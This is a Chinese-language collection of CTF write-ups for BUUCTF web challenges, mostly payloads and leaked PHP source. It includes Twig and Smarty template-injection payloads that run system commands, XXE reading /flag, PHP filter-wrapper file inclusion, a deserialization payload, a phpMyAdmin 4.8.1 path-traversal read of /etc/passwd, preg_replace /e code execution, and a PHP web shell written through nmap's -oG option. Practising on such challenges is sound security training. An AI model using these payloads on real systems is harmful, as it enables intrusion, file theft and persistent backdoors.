BUUCTF Web Writeup

/flag.php

存在模板注入

{{3*3}} => %20%7b%7b%33%2a%33%7d%7d

{{3*'3'}} => %7b%7b%33%2a%27%33%27%7d%7d

Twig 模板注入

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")} => %7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%72%65%67%69%73%74%65%72%55%6e%64%65%66%69%6e%65%64%46%69%6c%74%65%72%43%61%6c%6c%62%61%63%6b%28%22%73%79%73%74%65%6d%22%29%7d%7d%7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%67%65%74%46%69%6c%74%65%72%28%22%6c%73%22%29%7d%7d

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}} => %7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%72%65%67%69%73%74%65%72%55%6e%64%65%66%69%6e%65%64%46%69%6c%74%65%72%43%61%6c%6c%62%61%63%6b%28%22%73%79%73%74%65%6d%22%29%7d%7d%7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%67%65%74%46%69%6c%74%65%72%28%22%6c%73%20%2f%22%29%7d%7d

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}} => %7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%72%65%67%69%73%74%65%72%55%6e%64%65%66%69%6e%65%64%46%69%6c%74%65%72%43%61%6c%6c%62%61%63%6b%28%22%73%79%73%74%65%6d%22%29%7d%7d%7b%7b%5f%73%65%6c%66%2e%65%6e%76%2e%67%65%74%46%69%6c%74%65%72%28%22%63%61%74%20%2f%66%6c%61%67%22%29%7d%7d

[WUSTCTF2020]朴实无华

扫目录

py -3 dirsearch.py -u http://a14b2b12-84cc-4091-ad39-ccb3ef43d269.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

/robots.txt

User-agent: *
Disallow: /fAke_f1agggg.php

hint: Look_at_me: /fl4g.php

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

PHP/5.5.38 科学记数法绕过 intval 2e9

md5弱类型比较

0e215962017
=>
0e291242476940776845150308577824

黑名单绕过${IFS}绕过空格

?num=2e9&md5=0e215962017&get_flag=ls

?num=2e9&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[安洵杯 2019]easy_web

data 协议传输图片

<img src="data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=">

尝试解码 img 参数

两次 base64 解码，一次 hex 解码

TXpVek5UTTFNbVUzTURabE5qYz0
=> 
MzUzNTM1MmU3MDZlNjc=
=> 
3535352e706e67
=> 
555.avif

读取源码

index.php
=> 
696e6465782e706870
=> 
Njk2ZTY0NjU3ODJlNzA2ODcw
=> 
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=

base64 解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

md5 强类型比较

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

cmd 传参处 dir 没有过滤

\绕过正则匹配

[NCTF2019]Fake XML cookbook

XXE使用file协议读取flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE username [
    <!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>0</password></user>

[强网杯 2019]高明的黑客

/www.tar.gz

下载源码

需要找到可以利用的有效代码段

有许多可用的脚本，如下

$XnEGfa = $_GET['Efa5BVG'] ?? ' ';

[BJDCTF2020]Mark loves cat

在 CONTACT 处尝试后无果

扫目录

GitHack 下载源码

index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

 ?>

flag.php

<?php

$flag = file_get_contents('/flag');

?>

引用站外链接

exit

PHP手册

输出一个消息并且退出当前脚本，当参数是字符串时输出字符串，当参数为 int 型时作为退出状态码不会输出，退出状态码为0时成功中止

foreach 函数存在变量覆盖

get 传参时变量名不能为 flag 且变量值为 flag 时输出当前 $handsome 的值

当 get post 的参数不含 flag 时输出当前 $yds 的值

当 get post 的参数同为 flag 时输出当前 $is 的值

yds=flag

is=flag&flag=flag

handsome=flag&flag=x&x=flag

[BSidesCF 2020]Had a bad day

category=php://filter/read=convert.base64-encode/resource=index.php

include(php://filter/read=convert.base64-encode/resource=index.php.php)

报错提示多了个 .php

category=php://filter/read=convert.base64-encode/resource=index

PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==

<?php
   $file = $_GET['category'];
   
   if(isset($file))
   {
       if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
           include ($file . '.php');
       }
       else{
           echo "Sorry, we currently only support woofers and meowers.";
       }
   }
?>

参数被限制为 woofers meowers index

伪协议嵌套其中一个达到可以匹配 flag 的目的

php://filter/read=convert.base64-encode/woofers/resource=flag

也可以这样构造

category=php://filter/read=convert.base64-encode/resource=woofers/../flag

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7MWUwNzY5N2ItYjc1OC00ZDNhLWFhOTEtYmEwNWM0ZDg4MDQ3fQo/Pgo=

<!-- Can you read this flag? -->
<?php
 // flag{1e07697b-b758-4d3a-aa91-ba05c4d88047}
?>

[网鼎杯 2020 朱雀组]phpweb

func=date&p=Y-m-d+h%3Ai%3As+a

调用 date 函数并传入 “Y-m-d h:i:s a”

尝试获取源码

尝试调用 readfile file_get_contents highlight_file 函数

func=readfile&p=index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

引用站外链接

__destruct

PHP书册

<?php
class Test {
    var $func="system";
    var $p = "cat $(find / -name flag*";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a);
?>

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:25:"cat $(find / -name flag*)";}

反斜杠绕过黑名单

[GWCTF 2019]我有一个数据库

编码有问题

扫目录

phpMyAdmin 版本号是 4.8.1

phpmyadmin4.8.1后台getshell

ChaMd5安全团队

?target=db_sql.php%253f/../../../../../../../../etc/passwd

?target=db_sql.php%253f/../../../../../../../../flag

引用站外链接

phpmyadmin 4.8.1 远程文件包含漏洞

博客园

SELECT '<?php phpinfo()?>';

查看 SESSION ID

?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_5nl1lmmrps8lfjr2l8upr9h9g3

SHOW variables LIKE '%datadir%';

?target=db_sql.php%253f/../../../../../../var/lib/mysql/data/test/test.frm

[BJDCTF2020]ZJCTF，不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

php伪协议，文件包含，preg_replace函数e模式

php://input post 传输 I have a dream

data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

file=php://filter/read=convert.base64-encode/resource=next.php

PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id; 

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

从CVE-2016-5734分析由preg_replace引发的RCE

Zgao's blog

引用站外链接

深入研究preg_replace与代码执行

先知社区

?\S*={${phpinfo()}}

?\S*=${getFlag()}&cmd=system('cat /flag');

引用站外链接

L1ch师傅的另一种思路

L1ch`s blog

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

[GXYCTF2019]禁止套娃

扫目录发现 .git

GitHack 获取源码

<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

过滤了 php 伪协议

(?R)? 递归调用当前整个匹配模式，即匹配可以无限嵌套的无参数函数

无参数RCE

print_r(scandir('.')); 查看当前目录及文件

限制不含参数，即用 current(localeconv()) 代替

flag.php 为倒数第二个值，反转顺序后向前一位将指向 flag.php

print_r(next(array_reverse(scandir(current(localeconv())))));

返回随机键名后反转键名与键值，多次随机后得到想要的键值

print_r(array_rand(array_flip(scandir(current(localeconv())))));

readfile(next(array_reverse(scandir(current(localeconv())))));

[BJDCTF2020]The mystery of ip

通过 X-Forwarded-For 或 Client-IP 伪造 ip 参数

Smarty SSTI PHP

{$smarty.version}

3.1.34-dev-7

{if phpinfo()}{/if}

{php}phpinfo();{/php} （仅在Smarty3.1的SmartyBC中有效）

X-Forwarded-For: {system(‘cat /flag’)}

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>

host 随便传个 ip 后执行 nmap 命令

引用站外链接

escapeshellarg

PHP书册

给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

引用站外链接

escapeshellcmd

PHP书册

反斜线（\）会在以下字符之前插入： & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A 和 \xFF, ’ 和 " 仅在不配对儿的时候被转义。在 Windows 平台上，所有这些字符以及 % 和 ! 字符都会被空格代替

' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '

' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '

' \<\?php @eval\(\$_POST\[\"ba2in9a\"\]\)\;\?\> -oG ba2in9a.php '

[RoarCTF 2019]Easy Java

账号密码分别是 admin admin888

登陆后没有任何可用信息

查看 help 页面

抛出异常 java.io.FileNotFoundException:{help.docx}

请求方式改为 post

没有可用信息

查看别人的WP得知可以查看 WEB-INF/web.xml

servlet-class 存放在 /WEB-INF/classes 目录下

base64 解码即可得到 flag

[GXYCTF2019]BabyUpload

